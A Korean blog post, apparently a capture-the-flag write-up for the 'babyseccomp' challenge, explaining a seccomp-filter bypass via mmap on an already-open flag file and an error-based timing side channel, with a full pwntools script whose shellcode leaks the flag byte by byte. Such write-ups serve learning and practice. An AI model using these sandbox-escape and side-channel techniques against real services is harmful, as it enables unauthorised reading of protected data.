티스토리 뷰

christmas ctf - babyseccomp

 

christmas ctf에서 나왔던 babyseccomp이다.

쉘코딩을 잘 못해서 라업의 도움을 조금 받았다 ㅠㅠ

 

 

binary summary

  • error based shellcoding

 

 

Exploit vector

전형적인 쉘코딩 문제답게 다음과 같이 seccomp filtering을 설정해주고, 입력받은걸 실행해준다.

 

 

여기서 쉘따는건 힘들어보이므로 orw를 해야한다.

바이너리 자체에서 /flagopen해주기에 우리는 read, write만 수행하면 된다.

 

 

read

read는 다음과 같은 두가지 방법으로 우회할 수 있다.

  • rax = 0x4000000
  • mmap(1, 0x1000, 4, 1, fd(3), 0, 9)
 

 

rax = 0x4000000

seccomp tools의 결과를 보면 0x4000000초과이면 abort를 띄운다.

하지만 rax가 정확히 0x4000000이라면 abort를 호출하지않으며, 0x4000000은 내부 bit연산으로

read를 호출하는격이된다.

 

 

mmap(1, 0x1000, 4, 1, 3, 0, 9)

mmap을 호출하는데 특이한 부분은 fd가 들어갈 영역에 이전에 open/flag파일의 fd인 3을 넣는다.

이러면, 새로 매핑되는 메모리에 /flag값을 read할 수 있게된다.

 

 

write

그냥 간단하게 error based shellcoding을 수행해서

일치하면 무한루프, 틀리면 abort를 띄어서 값을 구했다.

 

 

 

Exploit

from pwn import *
​
context.arch = 'amd64'
context.log_level = 'error'
​
flag = ''
​
for index in range(0, 100):
    for guess in range(0x20, 0x7f):
        p = process('./babyseccomp')
        
        sc = '''
            mov rdi, 1
            mov rsi, 0x1000
            mov rdx, 4
            mov r10, 1
            mov r8, 3
            mov r9, 0           
            mov rax, 9
            syscall
​
            mov r14, rax
            add r14, %d
​
            jmp check
​
            check:
                xor rcx, rcx
                mov cl, byte PTR [r14]
                xor rbx, rbx
                mov bl, %d      
​
                cmp cl, bl
                
                je pass
                jmp fail
​
            pass:
                mov rax, 9
                syscall
                jmp pass                
​
            fail:
                xor rax, rax
                mov al, 0x1
                syscall 
            ''' % (index, guess)
        
        try:
            p.recv()
            p.send(asm(sc)) 
            p.recv(timeout=0.3)
            
            flag += chr(guess)
            print('found : ' + flag)
            p.close()
​
            if chr(guess) == '}':
                exit(0)
​
            break
​
        except:
            p.close()
​
print(flag)

 

 

라업을 보긴 했지만 최대한 머리써서 풀었기에 행복하다~

댓글
댓글쓰기 폼
공지사항
Total
7,553
Today
0
Yesterday
4
TAG
more
«   2022/01   »
            1
2 3 4 5 6 7 8
9 10 11 12 13 14 15
16 17 18 19 20 21 22
23 24 25 26 27 28 29
30 31          
글 보관함